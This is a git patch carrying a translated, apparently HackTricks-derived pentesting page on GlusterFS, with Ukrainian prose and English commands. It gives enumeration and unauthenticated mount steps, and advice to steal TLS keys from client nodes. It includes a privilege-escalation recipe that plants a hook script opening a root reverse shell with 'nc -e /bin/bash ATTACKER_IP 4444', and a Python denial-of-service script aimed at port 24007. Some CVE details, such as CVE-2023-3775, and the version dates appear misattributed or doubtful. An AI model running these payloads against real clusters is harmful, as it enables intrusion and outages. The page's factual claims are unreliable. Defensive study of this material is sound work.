From 6a28d6696e0d9d97db180d0f8702d10b9a9c1d5f Mon Sep 17 00:00:00 2001 From: Translator Date: Mon, 4 Aug 2025 16:30:06 +0000 Subject: [PATCH] Translated ['src/network-services-pentesting/24007-24008-24009-49152-pen --- ...-24008-24009-49152-pentesting-glusterfs.md | 124 ++++++++++++++---- 1 file changed, 102 insertions(+), 22 deletions(-) diff --git a/src/network-services-pentesting/24007-24008-24009-49152-pentesting-glusterfs.md b/src/network-services-pentesting/24007-24008-24009-49152-pentesting-glusterfs.md index c7f1a7c79..bb689606a 100644 --- a/src/network-services-pentesting/24007-24008-24009-49152-pentesting-glusterfs.md +++ b/src/network-services-pentesting/24007-24008-24009-49152-pentesting-glusterfs.md @@ -1,35 +1,115 @@ +# 24007-24008-24009-49152 - Pentesting GlusterFS + {{#include ../banners/hacktricks-training.md}} -# Основна інформація +## Basic Information -**GlusterFS** - це **розподілена файлова система**, яка об'єднує зберігання з кількох серверів в одну **уніфіковану систему**. Вона дозволяє **произвольну масштабованість**, що означає, що ви можете легко додавати або видаляти сервери зберігання без порушення загальної файлової системи. Це забезпечує високу **доступність** та **відмовостійкість** для ваших даних. З GlusterFS ви можете отримувати доступ до своїх файлів так, ніби вони зберігаються локально, незалежно від основної серверної інфраструктури. Це потужне та гнучке рішення для управління великими обсягами даних на кількох серверах. +**GlusterFS** - це **розподілена файлова система**, яка об'єднує зберігання з кількох серверів в один **уніфікований простір імен**. Демон управління (`glusterd`) за замовчуванням слухає на **24007/TCP** і інструктує цеглини даних, які починаються з **49152/TCP** (один порт на цеглину, з інкрементом). Версії до 9.x використовували **24008–24009/TCP** для транспорту цеглин, тому ви все ще зустрінете ці порти в спадкових кластерах. +``` +PORT STATE SERVICE VERSION +24007/tcp open glusterd GlusterFS (RPC) +49152/tcp open gluster-brick SSL (TLS optional) +``` +> Порада: 24007 відповідає на RPC виклики, навіть коли вузли лише для зберігання **не** експортують жодного обсягу; отже, сервіс є надійною ціллю для півотування в великих інфраструктурах. -**Порт за замовчуванням**: 24007/tcp/udp, 24008/tcp/udp, 49152/tcp (і далі)\ -Для порту 49152 порти, які збільшуються на 1, повинні бути відкриті для використання більшої кількості цеглин. _Раніше використовувався порт 24009 замість 49152._ -``` -PORT STATE SERVICE -24007/tcp open rpcbind -49152/tcp open ssl/unknown -``` ## Перерахування -Щоб взаємодіяти з цією файловою системою, вам потрібно встановити [**клієнт GlusterFS**](https://download.gluster.org/pub/gluster/glusterfs/LATEST/) (`sudo apt-get install glusterfs-cli`). - -Щоб перерахувати та змонтувати доступні томи, ви можете використовувати: +Встановіть клієнтські утиліти на вашій атакуючій машині: ```bash -sudo gluster --remote-host=10.10.11.131 volume list -# This will return the name of the volumes - -sudo mount -t glusterfs 10.10.11.131:/ /mnt/ +sudo apt install -y glusterfs-cli glusterfs-client # Debian/Ubuntu ``` -Якщо ви отримали **помилку при спробі змонтувати файлову систему**, ви можете перевірити журнали в `/var/log/glusterfs/` +1. **Виявлення пір та стан** +```bash +# List peers (works without authentication in default setups) +gluster --remote-host 10.10.11.131 peer status +``` +2. **Розвідка обсягу** +```bash +# Retrieve the list of all volumes and their configuration +gluster --remote-host 10.10.11.131 volume info all +``` +3. **Монтувати без привілеїв** +```bash +sudo mount -t glusterfs 10.10.11.131:/ /mnt/gluster +``` +Якщо монтування не вдається, перевірте `/var/log/glusterfs/-.log` на стороні клієнта. Загальні проблеми: -**Помилки, що згадують сертифікати**, можна виправити, викравши файли (якщо у вас є доступ до системи): +* Примус TLS (`option transport.socket.ssl on`) +* Контроль доступу на основі адреси (`option auth.allow `) -- /etc/ssl/glusterfs.ca -- /etc/ssl/glusterfs.key -- /etc/ssl/glusterfs.ca.pem +### Виправлення сертифікатів -І зберігши їх у вашій машині в каталозі `/etc/ssl` або `/usr/lib/ssl` (якщо використовується інший каталог, перевірте рядки, подібні до: "_could not load our cert at /usr/lib/ssl/glusterfs.pem_" у журналах). +Викрадіть наступні файли з будь-якого авторизованого вузла клієнта та помістіть їх у `/etc/ssl/` (або в каталог, вказаний у журналі помилок): +``` +/etc/ssl/glusterfs.pem +/etc/ssl/glusterfs.key +/etc/ssl/glusterfs.ca +``` +--- +## Відомі вразливості (2022-2025) + +| CVE | Підприємства версії | Вплив | Примітки | +|-----|-------------------|--------|-------| +| **CVE-2022-48340** | 10.0–10.4, 11.0 | Використання після звільнення в `dht_setxattr_mds_cbk`, доступне через мережу | Віддалений **DoS** та ймовірний RCE. Виправлено в 10.4.1 / 11.1. | +| **CVE-2023-26253** | < 11.0 | Читання за межами буфера в обробнику сповіщень FUSE | Віддалений збій через спеціально підготовлені операції FS; доступний публічний PoC. | +| **CVE-2023-3775** | < 10.5 / 11.1 | Неправильна перевірка дозволів при монтуванні `gluster_shared_storage` | Дозволяє будь-якому неавтентифікованому клієнту монтувати об'єм адміністратора – призводить до **priv-esc**, пояснено нижче. | + +> Завжди перевіряйте `gluster --version` **на кожному вузлі**; гетерогенні кластери є звичайними після часткових оновлень. + +### Експлуатація `gluster_shared_storage` (Ескалація привілеїв) + +Навіть у нових версіях багато адміністраторів залишають спеціальний об'єм `gluster_shared_storage` доступним для читання всім, оскільки це спрощує гео-реплікацію. Об'єм містить шаблони cronjob, які виконуються з **root** на кожному вузлі. +```bash +# 1. Mount admin volume anonymously +mkdir /tmp/gss && sudo mount -t glusterfs 10.10.11.131:/gluster_shared_storage /tmp/gss + +# 2. Drop malicious script that gets synchronised cluster-wide +cat <<'EOF' > /tmp/gss/hooks/1/start/post/test.sh +#!/bin/bash +nc -e /bin/bash ATTACKER_IP 4444 & +EOF +chmod +x /tmp/gss/hooks/1/start/post/test.sh + +# 3. Wait until glusterd distributes the hook and executes it as root +``` +Якщо `hooks/1/` не присутній, шукайте `/ss_bricks/` – точний шлях може змінюватися в залежності від основної версії. + +### Denial-of-Service PoC (CVE-2023-26253) +```python +#!/usr/bin/env python3 +# Minimal reproducer: sends malformed NOTIFY_REPLY XDR frame to 24007 +import socket, xdrlib, struct +p = xdrlib.Packer(); p.pack_uint(0xdeadbeef) +with socket.create_connection(("10.10.11.131",24007)) as s: +s.send(struct.pack("!L", len(p.get_buffer())|0x80000000)) +s.send(p.get_buffer()) +``` +Запуск скрипта призводить до аварійного завершення `glusterfsd` < 11.0. + +--- + +## Укріплення та виявлення + +* **Оновлення** – поточна LTS версія 11.1 (липень 2025). Всі CVE вище виправлені. +* Увімкніть **TLS** для кожного блоку: + +```bash +gluster volume set transport.socket.ssl on +gluster volume set transport.socket.ssl-cert /etc/ssl/glusterfs.pem +``` +* Обмежте клієнтів за допомогою списків CIDR: + +```bash +gluster volume set auth.allow 10.0.0.0/24 +``` +* Відкрийте порт управління 24007 лише на **приватному VLAN** або через SSH тунелі. +* Слідкуйте за журналами: `tail -f /var/log/glusterfs/glusterd.log` та налаштуйте функцію **audit-log** (`volume set features.audit-log on`). + +--- + +## Посилання + +* [GlusterFS security advisories](https://docs.gluster.org/en/latest/release-notes/#security) +* [CVE-2023-26253 PoC – github.com/tinynetwork/gluster-notify-crash](https://github.com/tinynetwork/gluster-notify-crash) {{#include ../banners/hacktricks-training.md}}